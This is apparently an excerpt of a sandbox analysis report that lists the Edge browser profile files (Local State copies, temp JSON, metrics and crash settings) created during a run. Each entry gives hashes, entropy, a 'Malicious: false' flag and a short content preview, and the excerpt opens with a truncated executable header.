Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\01c3d52c-db39-4660-ac7f-b24576c9ad13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44608
Entropy (8bit):	6.096645384453907
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBrwu7hDO6vP6OFnzFeliXEEqTFJxccGoup1Xl3jVu:z/Ps+wsI7ynEu6lznchu3VlXr4CRo1
MD5:	51E024DC230A95D67F544372EC59B540
SHA1:	28650FCD3FE19AB2DF5E497940AD52213E3E59BB
SHA-256:	AE2FE1B25B853BBB4756969754DDF2984ABB988044F64DE6873E995B2CB9B73A
SHA-512:	15EEAA1E4258865771B0D9535EF9908A154884512203B4A496DDF3B0D1A6304B6F9410CAE5A0EAA4B4C0A59D212AA2EA57D06141AC1079B09CA9120E51163601
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\1b5b74b3-c9da-4359-b9b7-f97fea2e6643.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44647
Entropy (8bit):	6.096009806196407
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBHwu7hDO6vP6OFnzFeNW5ADVTr9hcGoup1Xl3jVz6:z/Ps+wsI7ynEC6lzochu3VlXr4CRo1
MD5:	88ED911AC17D9AB8AD88108BC04551D6
SHA1:	E9BCB2FA976DFA07A4B375A18C629E0C3E11744E
SHA-256:	C7503742B7EAF0B5327C3023D1F7E029355DDC16D250A1FFE4A552621CD959B9
SHA-512:	F11F73B3907A16EA5D22B8D48EB144ABFAA43A2B09BE32935447DFF08FCC9B99C45782ADB31102BF899A221FB4D9D7B8FA3955B18DBA816E84E72B2C03FAF4EB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\370fea41-13ab-41d9-92ed-48d5f8e3f355.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44647
Entropy (8bit):	6.096009806196407
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBHwu7hDO6vP6OFnzFeNW5ADVTr9hcGoup1Xl3jVz6:z/Ps+wsI7ynEC6lzochu3VlXr4CRo1
MD5:	88ED911AC17D9AB8AD88108BC04551D6
SHA1:	E9BCB2FA976DFA07A4B375A18C629E0C3E11744E
SHA-256:	C7503742B7EAF0B5327C3023D1F7E029355DDC16D250A1FFE4A552621CD959B9
SHA-512:	F11F73B3907A16EA5D22B8D48EB144ABFAA43A2B09BE32935447DFF08FCC9B99C45782ADB31102BF899A221FB4D9D7B8FA3955B18DBA816E84E72B2C03FAF4EB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\57ef47fb-3258-47a0-a315-6361f4525269.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756346466661
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMMwuF9hDO6vP6O+qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEG6Ptbz8hu3VlXr4CRo1
MD5:	BBEB48E3DE00EBE8744C3B75B61D55A0
SHA1:	16D161C9FD0E34F71E06DBEB5A6129B4ACF32371
SHA-256:	13C35A5D6C8D238E9E87759A736BBD68826C5C236A2ED7B1065DF27B8050D94A
SHA-512:	8CC04EFBD7D2D6DC096682B6AF1AC54D08CB8FA2CDC7CA6C225E2310EF55684A07BF2267696BAD1F91521D55B481FCFA86691D4A3C25C5C44997A0953CCDE615
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6756FEBA-1F60.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04670978751564061
Encrypted:	false
SSDEEP:	192:ftx+0pqtmtnOAWV6YCEJgA8x5XSggykfhMNNE4fsIq/ERQclvMAB/xhgWn8y08TQ:100ctGMKEgk9hgIY9MAZxr08T2RGOD
MD5:	A55ECCC88A86A891925F761AD54313EE
SHA1:	F5606FC75C44E1FAD0B898B89E32AA1BE573F463
SHA-256:	297C1752AD26FE445F69760C2356E3BB6F1A3E7168A1636B3E8545AAFC530A0F
SHA-512:	141E6B3B9405EE6D993E01405711BEA274789F39F81389E5A9BC6E00F8068955250A0E5F9DD88F9739F511458F3C8693733E76ACA97F6B48707BBC64BB2C24B8
Malicious:	false
Preview:	...@..@...@.....C.].....@................e...U..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".myevkn20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.......,......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756346466661
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMMwuF9hDO6vP6O+qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEG6Ptbz8hu3VlXr4CRo1
MD5:	BBEB48E3DE00EBE8744C3B75B61D55A0
SHA1:	16D161C9FD0E34F71E06DBEB5A6129B4ACF32371
SHA-256:	13C35A5D6C8D238E9E87759A736BBD68826C5C236A2ED7B1065DF27B8050D94A
SHA-512:	8CC04EFBD7D2D6DC096682B6AF1AC54D08CB8FA2CDC7CA6C225E2310EF55684A07BF2267696BAD1F91521D55B481FCFA86691D4A3C25C5C44997A0953CCDE615
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF376b8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756346466661
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMMwuF9hDO6vP6O+qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEG6Ptbz8hu3VlXr4CRo1
MD5:	BBEB48E3DE00EBE8744C3B75B61D55A0
SHA1:	16D161C9FD0E34F71E06DBEB5A6129B4ACF32371
SHA-256:	13C35A5D6C8D238E9E87759A736BBD68826C5C236A2ED7B1065DF27B8050D94A
SHA-512:	8CC04EFBD7D2D6DC096682B6AF1AC54D08CB8FA2CDC7CA6C225E2310EF55684A07BF2267696BAD1F91521D55B481FCFA86691D4A3C25C5C44997A0953CCDE615
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF376c7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756346466661
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMMwuF9hDO6vP6O+qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEG6Ptbz8hu3VlXr4CRo1
MD5:	BBEB48E3DE00EBE8744C3B75B61D55A0
SHA1:	16D161C9FD0E34F71E06DBEB5A6129B4ACF32371
SHA-256:	13C35A5D6C8D238E9E87759A736BBD68826C5C236A2ED7B1065DF27B8050D94A
SHA-512:	8CC04EFBD7D2D6DC096682B6AF1AC54D08CB8FA2CDC7CA6C225E2310EF55684A07BF2267696BAD1F91521D55B481FCFA86691D4A3C25C5C44997A0953CCDE615
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38156.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756346466661
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMMwuF9hDO6vP6O+qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEG6Ptbz8hu3VlXr4CRo1
MD5:	BBEB48E3DE00EBE8744C3B75B61D55A0
SHA1:	16D161C9FD0E34F71E06DBEB5A6129B4ACF32371
SHA-256:	13C35A5D6C8D238E9E87759A736BBD68826C5C236A2ED7B1065DF27B8050D94A
SHA-512:	8CC04EFBD7D2D6DC096682B6AF1AC54D08CB8FA2CDC7CA6C225E2310EF55684A07BF2267696BAD1F91521D55B481FCFA86691D4A3C25C5C44997A0953CCDE615
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38166.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090756346466661
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMMwuF9hDO6vP6O+qtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEG6Ptbz8hu3VlXr4CRo1
MD5:	BBEB48E3DE00EBE8744C3B75B61D55A0
SHA1:	16D161C9FD0E34F71E06DBEB5A6129B4ACF32371
SHA-256:	13C35A5D6C8D238E9E87759A736BBD68826C5C236A2ED7B1065DF27B8050D94A
SHA-512:	8CC04EFBD7D2D6DC096682B6AF1AC54D08CB8FA2CDC7CA6C225E2310EF55684A07BF2267696BAD1F91521D55B481FCFA86691D4A3C25C5C44997A0953CCDE615
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQw:YQ3Kq9X0dMgAEiLI2
MD5:	265DB1C9337422F9AF69EF2B4E1C7205
SHA1:	3E38976BB5CF035C75C9BC185F72A80E70F41C2E
SHA-256:	7CA5A3CCC077698CA62AC8157676814B3D8E93586364D0318987E37B4F8590BC
SHA-512:	3CC9B76D8D4B6EDB4C41677BE3483AC37785F3BBFEA4489F3855433EBF84EA25FC48EFEE9B74CAB268DC9CB7FB4789A81C94E75C7BF723721DE28AEF53D8B529
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\e4686c87-eef5-4aa4-9c4c-1498e2e179ff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44608
Entropy (8bit):	6.096645384453907
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBrwu7hDO6vP6OFnzFeliXEEqTFJxccGoup1Xl3jVu:z/Ps+wsI7ynEu6lznchu3VlXr4CRo1
MD5:	51E024DC230A95D67F544372EC59B540
SHA1:	28650FCD3FE19AB2DF5E497940AD52213E3E59BB
SHA-256:	AE2FE1B25B853BBB4756969754DDF2984ABB988044F64DE6873E995B2CB9B73A
SHA-512:	15EEAA1E4258865771B0D9535EF9908A154884512203B4A496DDF3B0D1A6304B6F9410CAE5A0EAA4B4C0A59D212AA2EA57D06141AC1079B09CA9120E51163601
Malicious:	false
